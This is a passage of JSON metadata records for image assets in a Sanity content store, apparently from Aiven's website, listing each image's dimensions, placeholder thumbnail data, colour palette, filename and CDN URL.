g"} {"_createdAt":"2023-09-06T08:23:59Z","_id":"image-a7d3080559232a712f216d72cbfe31c84cf48411-1870x644-png","_rev":"7lO65z9OheRFnytB4YX64Q","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:23:59Z","assetId":"a7d3080559232a712f216d72cbfe31c84cf48411","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9037267080745344,"height":644,"width":1870},"exif":{"PixelXDimension":1870,"PixelYDimension":644,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABBUlEQVQokX1R2W7EIAzk/7+xD1WlbrLZJRAOg7mmMmm7rdTtwwgzssfDoLTecb1uWNcrlmXF5bJAuJwZvY8Hhpx9YozxFMr7AGPMFNH7DmMO2CPCh4JIdYKoIec6l6SUwVyeCitjI+76wL5b+MMjOkLw+RSMn4KpIXOdQsyMWuufgr13qOVGWG4exjrQEUDag1ycTmptv57931PHGGitQblQ4QIjxATyhHREpJimE2n4Hugy0Kc74b/yFO5cKHWDytwQU8XdJmx3PzN0ziMEcckopU4wnxkS5cnLXSLIWWI4ewQqpgLrGK8L4eVtx/tlw7ZpaG3hxXGSjyjzJHrg5H/W0lPwAVaMIbNKzJL+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38437c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#892676","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b0b0cb","foreground":"#000","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b0cb","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84ccfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#536cad","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b74d6","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-add-big-query-integration.png","path":"images/sczeoy4w/production/a7d3080559232a712f216d72cbfe31c84cf48411-1870x644.png","sha1hash":"a7d3080559232a712f216d72cbfe31c84cf48411","size":112003,"uploadId":"UGJF4k4HaZX75bxiEG9WXOOtTYxZbtk8","url":"https://cdn.sanity.io/images/sczeoy4w/production/a7d3080559232a712f216d72cbfe31c84cf48411-1870x644.png"} {"_createdAt":"2023-11-17T14:34:11Z","_id":"image-a89c50185d9d81661f4c7c5aab0baed05518664d-1200x630-jpg","_rev":"BjY9n6joNYFLmv1rrygZIZ","_type":"sanity.imageAsset","_updatedAt":"2023-11-17T14:34:11Z","assetId":"a89c50185d9d81661f4c7c5aab0baed05518664d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M684yU~oICMwV@?L%OITRkbJ4nMy%1ohac","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBAf/xAAiEAABBAEEAgMAAAAAAAAAAAABAAIDEQUEEyExEhRRYXH/xAAXAQADAQAAAAAAAAAAAAAAAAABAwQG/8QAGxEAAgIDAQAAAAAAAAAAAAAAAAECEQQSEyH/2gAMAwEAAhEDEQA/AMz0sGL9KIvEBmoAgjlUsvpsbY2QS7xobXV/aJKOkaKHfwoYmgyNsDtbKOMn7ZC5ULxjpCLIA/ShMpnO3DyhO4QBsz//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403b7b","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04348c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dae9","foreground":"#000","population":7.27,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dae9","foreground":"#000","population":7.27,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#979fe1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#71789f","foreground":"#fff","population":1.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3341b4","foreground":"#fff","population":4.91,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AMER_Holiday_Campaign_23_meta_preview_image_1200x630_2.jpg","path":"images/sczeoy4w/production/a89c50185d9d81661f4c7c5aab0baed05518664d-1200x630.jpg","sha1hash":"a89c50185d9d81661f4c7c5aab0baed05518664d","size":263669,"uploadId":"cPSsVwiqez56L95rt4jyqR4GjGw4QeZE","url":"https://cdn.sanity.io/images/sczeoy4w/production/a89c50185d9d81661f4c7c5aab0baed05518664d-1200x630.jpg"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-a89d4d0cf4f783ec2f15ae11f39472649b49c8a6-750x174-png","_rev":"CK1sLU2mnwa3vmbYWEbHGZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:17Z","assetId":"a89d4d0cf4f783ec2f15ae11f39472649b49c8a6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04eZvxafP?HIB-qoLayxuIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.310344827586207,"height":174,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAkUlEQVQYlVWPQQ7DMAgE8xGzsEDsNor6/9+1hPQQNAek8a7wtnJ3MwNm5uc8z+NIdxXBGAake5AEZtw2SIyyGGN7rxVmhFARtC5SERWh6h7R4d197TMjDMBlK/xaK0kHCNgTqs7MdHfVJGu5qpsKd3fhD+qdaqtOxoX/rYpsVaPqZFNj1vR5BrjVd9zI4ra/8BcC/ifSFG/4nwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4447","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0408","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#868585","foreground":"#fff","population":1.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b1b3","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd9bbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#868585","foreground":"#fff","population":1.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf3f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a89d4d0cf4f783ec2f15ae11f39472649b49c8a6-750x174.png","path":"images/sczeoy4w/production/a89d4d0cf4f783ec2f15ae11f39472649b49c8a6-750x174.png","sha1hash":"a89d4d0cf4f783ec2f15ae11f39472649b49c8a6","size":9164,"uploadId":"7TpoWQ4x0OjUJzm0ianXmRrmqqiUcV7c","url":"https://cdn.sanity.io/images/sczeoy4w/production/a89d4d0cf4f783ec2f15ae11f39472649b49c8a6-750x174.png"} {"_createdAt":"2022-07-14T14:16:55Z","_id":"image-a8dc925c8246fc9ae1385ac8818e9d6bc4e60cfb-50x30-svg","_rev":"qSZxM9b8jt7q1sKE6uvxLr","_type":"sanity.imageAsset","_updatedAt":"2022-07-21T11:51:36Z","altText":"Amazon Web Services logo white","assetId":"a8dc925c8246fc9ae1385ac8818e9d6bc4e60cfb","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6666666666666667,"height":30,"width":50},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABzUlEQVQokXXTW6uIeRQG8L1xoZxy3JTaIyOHhtRuCsVMDGKcU0RTDoXQOIWxJ6fYUUoOUYpS0jRNcyFfwY1voFzxQZ6fVq0LKRf/3vddh+d91vOs/0CSWTiEF3iL5ziGCziCJZ2/j7UYSXIRZ3E3yRv8gxNJhgYwKckItiYpgHu4iitJLmMjRvE6yX7sxE38jUdJrmFXkpVJJhXgZPxcQRytItzGcdzASdzCU5xLch6XsD/JaNccaOZTCnBFjZfkQoM8S1IA25rFQ1wvMNzp7z+woEBwGGM9xUgBbm5W1bCvmVTjGpxO8h8u9qhP8BKbMBeLsa6lqb7tBbi8RyjqZ/p5Gku7cazl+KmNutK5hdjbBhbgKSwbKCG7uJrXYSV+xFTMTlI/nIcp7fiy1n16a78Du5OsKtbF8AcMJami8Rj46gxiXD8HOz++3ys/EYuwpXRNcqyCGzqwGsMNPO4b4O+daShmtacl1f8VrPF+x5+9rAexvrUdxhzMxIySAPN79DJtT2tYTp/A4wIsNlVYt6CErcV+kuRBG1KrUy7X+atXqLag6opVrVCB/1rmfU1/Qov/W5Jy8l+8x0d8TvIJH/AOr9rxX+q6tbFDNc0XBeUYqSUtdewAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-aws-white.svg","path":"images/sczeoy4w/production/a8dc925c8246fc9ae1385ac8818e9d6bc4e60cfb-50x30.svg","sha1hash":"a8dc925c8246fc9ae1385ac8818e9d6bc4e60cfb","size":2248,"title":null,"uploadId":"LSDVj3F9QI8WC0AjbNb7VXySqC0MGpGO","url":"https://cdn.sanity.io/images/sczeoy4w/production/a8dc925c8246fc9ae1385ac8818e9d6bc4e60cfb-50x30.svg"} {"_createdAt":"2023-12-27T10:06:02Z","_id":"image-a8e27365eb7c06877d1ae41e83f528c4336e4712-3000x1207-jpg","_rev":"Do3156plRwIXmiihOAr5DL","_type":"sanity.imageAsset","_updatedAt":"2023-12-27T10:06:02Z","assetId":"a8e27365eb7c06877d1ae41e83f528c4336e4712","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4855012427506216,"height":1207,"width":3000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAQD/8QAHhAAAgICAgMAAAAAAAAAAAAAAgMAAQQRBRIhMUH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAgT/xAAcEQACAwADAQAAAAAAAAAAAAABAgADBBIhMRP/2gAMAwEAAhEDEQA/ALnsQ1AGO6bvV18lPFYRZxEsb14iIbW2tq0fS3sn2K71rkz8KugPJgzBPHaa+1X1v3UREwO5DES1tYgEz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973b01","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833301","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6404","foreground":"#fff","population":19.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9f88c6","foreground":"#fff","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb06d","foreground":"#000","population":5.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86c74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6404","foreground":"#fff","population":19.82,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-orange-aiven-live.jpg","path":"images/sczeoy4w/production/a8e27365eb7c06877d1ae41e83f528c4336e4712-3000x1207.jpg","sha1hash":"a8e27365eb7c06877d1ae41e83f528c4336e4712","size":377574,"uploadId":"eOkh0m7FjH4vt0RCdXpxT1pVKXLb1wXO","url":"https://cdn.sanity.io/images/sczeoy4w/production/a8e27365eb7c06877d1ae41e83f528c4336e4712-3000x1207.jpg"} {"_createdAt":"2022-06-16T22:54:05Z","_id":"image-a8ee34b296ca1b58233e4613b08fdd1b48828ace-100x31-png","_rev":"oamrAPLmQLQjd9jh7ZoGd8","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:05Z","assetId":"a8ee34b296ca1b58233e4613b08fdd1b48828ace","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DKJ4x3],$i,?],}DJ8$iWWjt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.225806451612903,"height":31,"width":100},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOUlEQVQYlT2QQUuVYRSEP2ojpkSLFmZUq0BmQFdGmAsh7JqWEkJkiEqB2IxeIaKN0A+IIGrlohYK9i/P5Pt5cXc4Z2bOw3Qxf8Xcifkl5p+YPyOslDAR41GMYYy/JZxH+B1hI8J0zJe91jyPedZ7hR9dXS3exVyNuVvCVgRGuBNjEOMk5lbM5yUclDAsYTbmg5jPYm72d2E5wpMu5kWZ2zHfxFTMDxHmItyP0OajGDMxHsd4ldHDEm6WORFzqXnrSn+jEf6L+X5EuDeiQcSpErcjfI6xGGM9wmGEFxHuxmwwt/owU2U+jNC15WnMt1Fv2C9hJ8JsCZMxn8b8WuanCE1z3AhLuDcKbISvY36M0CrougiOsNbCInyP8C3CUoTxMm/HXCtzGHG5zIWYg2r9qQ8cizB/TX1J+B+bUOIWXqncoAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#583234","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d1a04","foreground":"#fff","population":0.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96b2c","foreground":"#fff","population":10.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#943004","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96b2c","foreground":"#fff","population":10.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5c64","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f76812","foreground":"#fff","population":1.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"EQT__Unternehmen__logo_1.png","path":"images/sczeoy4w/production/a8ee34b296ca1b58233e4613b08fdd1b48828ace-100x31.png","sha1hash":"a8ee34b296ca1b58233e4613b08fdd1b48828ace","size":1130,"uploadId":"s1XwPS9RELb8iIxWuVD9XtgiAHI0RRUr","url":"https://cdn.sanity.io/images/sczeoy4w/production/a8ee34b296ca1b58233e4613b08fdd1b48828ace-100x31.png"} {"_createdAt":"2022-12-19T14:15:09Z","_id":"image-a8fb259ad5f78fb8bda0f0da26a88ef9d194990d-1200x630-jpg","_rev":"3re4XGUaXqpLG8nUTrR7vS","_type":"sanity.imageAsset","_updatedAt":"2022-12-19T14:15:09Z","assetId":"a8fb259ad5f78fb8bda0f0da26a88ef9d194990d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgj/xAAmEAABBAEDAQkAAAAAAAAAAAACAAEDBAUREiETFCMxQUJRkaHR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgAB/8QAGhEBAAMBAQEAAAAAAAAAAAAAAQACESESIv/aAAwDAQACEQMRAD8A6Hs0L8kxlFd2C78D7KTkctLh7XZpJjksEDE0kmuxlpIRZrRvz8pfNVYLFYutEJ8eaViyfM2rUX0bJcWTyxxsUIUrAPyxtJp9ISuOxVJ6zdw3i/qf9Qo3Owubyf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47484b","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813b03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87206","foreground":"#fff","population":0.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b4d1","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fae856","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#98685c","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87206","foreground":"#fff","population":0.63,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"fast-growing-companies-innovate-with-data-platforms_meta_preview.jpg","path":"images/sczeoy4w/production/a8fb259ad5f78fb8bda0f0da26a88ef9d194990d-1200x630.jpg","sha1hash":"a8fb259ad5f78fb8bda0f0da26a88ef9d194990d","size":53284,"uploadId":"kfcy9d1J7IlAB2tprn91DdDaGsub3q8n","url":"https://cdn.sanity.io/images/sczeoy4w/production/a8fb259ad5f78fb8bda0f0da26a88ef9d194990d-1200x630.jpg"} {"_createdAt":"2023-09-18T16:57:07Z","_id":"image-a97f28927d3bc8905ab1c28079fafd85158a9ba8-1600x390-svg","_rev":"kaQ4ZWos4gq6sBfd7qYAZL","_type":"sanity.imageAsset","_updatedAt":"2023-09-18T16:57:07Z","assetId":"a97f28927d3bc8905ab1c28079fafd85158a9ba8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DY1}ejpypek@kZaQaQaQajaj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.102564102564102,"height":390,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMElEQVQYlU2OTSvEURjF7/mfO+NlmGZBkpDGSIPkJca5xsuYIikvkWJlZSkLK1OUfAffQVmxFBZWNjRjZzVNonyH0dVdWJxO5/yenucxLNXPeFofNUd1GtOFKD6XgHXtoFpBWVAxUARl4jZvIutMyElQqcD/ei8TP/56Tl18n2dvfqZn7yttjZ1rPaBcZN0UrBsElQU1AKoPVC+oDlBdoCZAzYAa+ccyJnn4eJe5en/IPdUuC6+1seTQfjciFSLrdmC1DWoL1AaoTVBroARqCtQyqPXAfe/5gUmXrvemb8tXCy/Vk+L7V7p1YLcFVH9knb8+HxY4UPmwyH/kNQkqF7pxULOgVkzh5SOz9FZdLZZrw8XKZ8wYA5tYjEXWNYFKgPLeHNQIqiG4Z14+x8Nc4hcQQUZY42jaxQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":68.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c94","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":68.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#057693","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#44d3f8","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c8797","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0779f8","foreground":"#fff","population":1.84,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"talon-one-logo-rgb.svg","path":"images/sczeoy4w/production/a97f28927d3bc8905ab1c28079fafd85158a9ba8-1600x390.svg","sha1hash":"a97f28927d3bc8905ab1c28079fafd85158a9ba8","size":2072,"uploadId":"NCNXqjZsFt1XBc0MC2dbEMR34ueVD1Eg","url":"https://cdn.sanity.io/images/sczeoy4w/production/a97f28927d3bc8905ab1c28079fafd85158a9ba8-1600x390.svg"} {"_createdAt":"2023-11-14T15:43:52Z","_id":"image-a9f7d85f13a0ae25220e0ad3dd1d988519363e55-2500x1313-jpg","_rev":"1h3WMBnk967znzaf4aIJhZ","_type":"sanity.imageAsset","_updatedAt":"2023-11-14T15:43:52Z","assetId":"a9f7d85f13a0ae25220e0ad3dd1d988519363e55","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHSx_;_OC8.9UbtjxaNFsCWBzAL3v}ROpw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904036557501904,"height":1313,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACMQAAEEAgEDBQAAAAAAAAAAAAEAAgMEBRESEyFBBjEyUZH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAQX/xAAcEQEAAgMAAwAAAAAAAAAAAAACAQMABBEhMWH/2gAMAwEAAhEDEQA/AGdN9ERM5gc9d9hV/oqrj8llWwywtMTWE7P2oVjjxZ7fif4mzNUZ1a0hjk18mo4puItKZ7EYp79KdSIUxM+vOMMtWNHJ2a5B0x549vHhCx3rlizP1Z5XPkIG3FCuxu1KxIjkZl6+jZXUSn2Yj7n/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d706c","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043518","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bc8bd","foreground":"#000","population":1.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7bd78","foreground":"#000","population":0.7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57f59","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.72,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"The_Total_Economic_Impact_Of_The_Aiven_Platform_meta_preview_image_1200x630 copy.jpg","path":"images/sczeoy4w/production/a9f7d85f13a0ae25220e0ad3dd1d988519363e55-2500x1313.jpg","sha1hash":"a9f7d85f13a0ae25220e0ad3dd1d988519363e55","size":207295,"uploadId":"LiR79kJknoQGOwVLnmHZE9cIkDIRycQk","url":"https://cdn.sanity.io/images/sczeoy4w/production/a9f7d85f13a0ae25220e0ad3dd1d988519363e55-2500x1313.jpg"} {"_createdAt":"2023-11-09T13:43:20Z","_id":"image-aa01de303af5ae4a60d90bbd65ed85560029578c-193x72-svg","_rev":"sB10Yf68oZbxn2Z5SGPeeQ","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T13:43:20Z","assetId":"aa01de303af5ae4a60d90bbd65ed85560029578c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4K$g_$Q|_,?]k1da}JSjZWo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6805555555555554,"height":72,"width":193},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABG0lEQVQokWWRSyvFURTF/1y3XK+JFPJ+ZWBduvJIkZ8bRUqK+ABGEjNGDGRqYKjMmPiQy9XO9rgZrHNanbXX3mftwqj4oFrE/Y3/PO5qE2/SbCVQEUfZqMeoYtRiVDLqNuo0ak10JUqp6UhNW/JK8nIY1oxOjepGfUaTRkdGe0YDRsNGB0aHRqNG/Ua7RsdG01mzZrRjNBuG50bvRg9G1RS/Gj0ZLRmtGz0bvRhtGi0aPRq9Ge0byejK6DYah2F0vzc6MxozWs7HS6MZozmja6ObbDhldGF0Z7SaU59k/UYYxsgTRoNG7ZnneH41soosoygQOUZeQ6kJbdRENCNGvV9b25ovGgcrv1sMvr3QzOvzP7xRrxUff/hffAKr69u+ZJfTrQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#50303c","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96070b","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#96070b","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#93050d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f84a54","foreground":"#fff","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a55c5c","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f34414","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"stars-four-and-half.svg","path":"images/sczeoy4w/production/aa01de303af5ae4a60d90bbd65ed85560029578c-193x72.svg","sha1hash":"aa01de303af5ae4a60d90bbd65ed85560029578c","size":1205,"uploadId":"cBI2lSlXGLWvSYVZGR9bzAArcUHfDLib","url":"https://cdn.sanity.io/images/sczeoy4w/production/aa01de303af5ae4a60d90bbd65ed85560029578c-193x72.svg"} 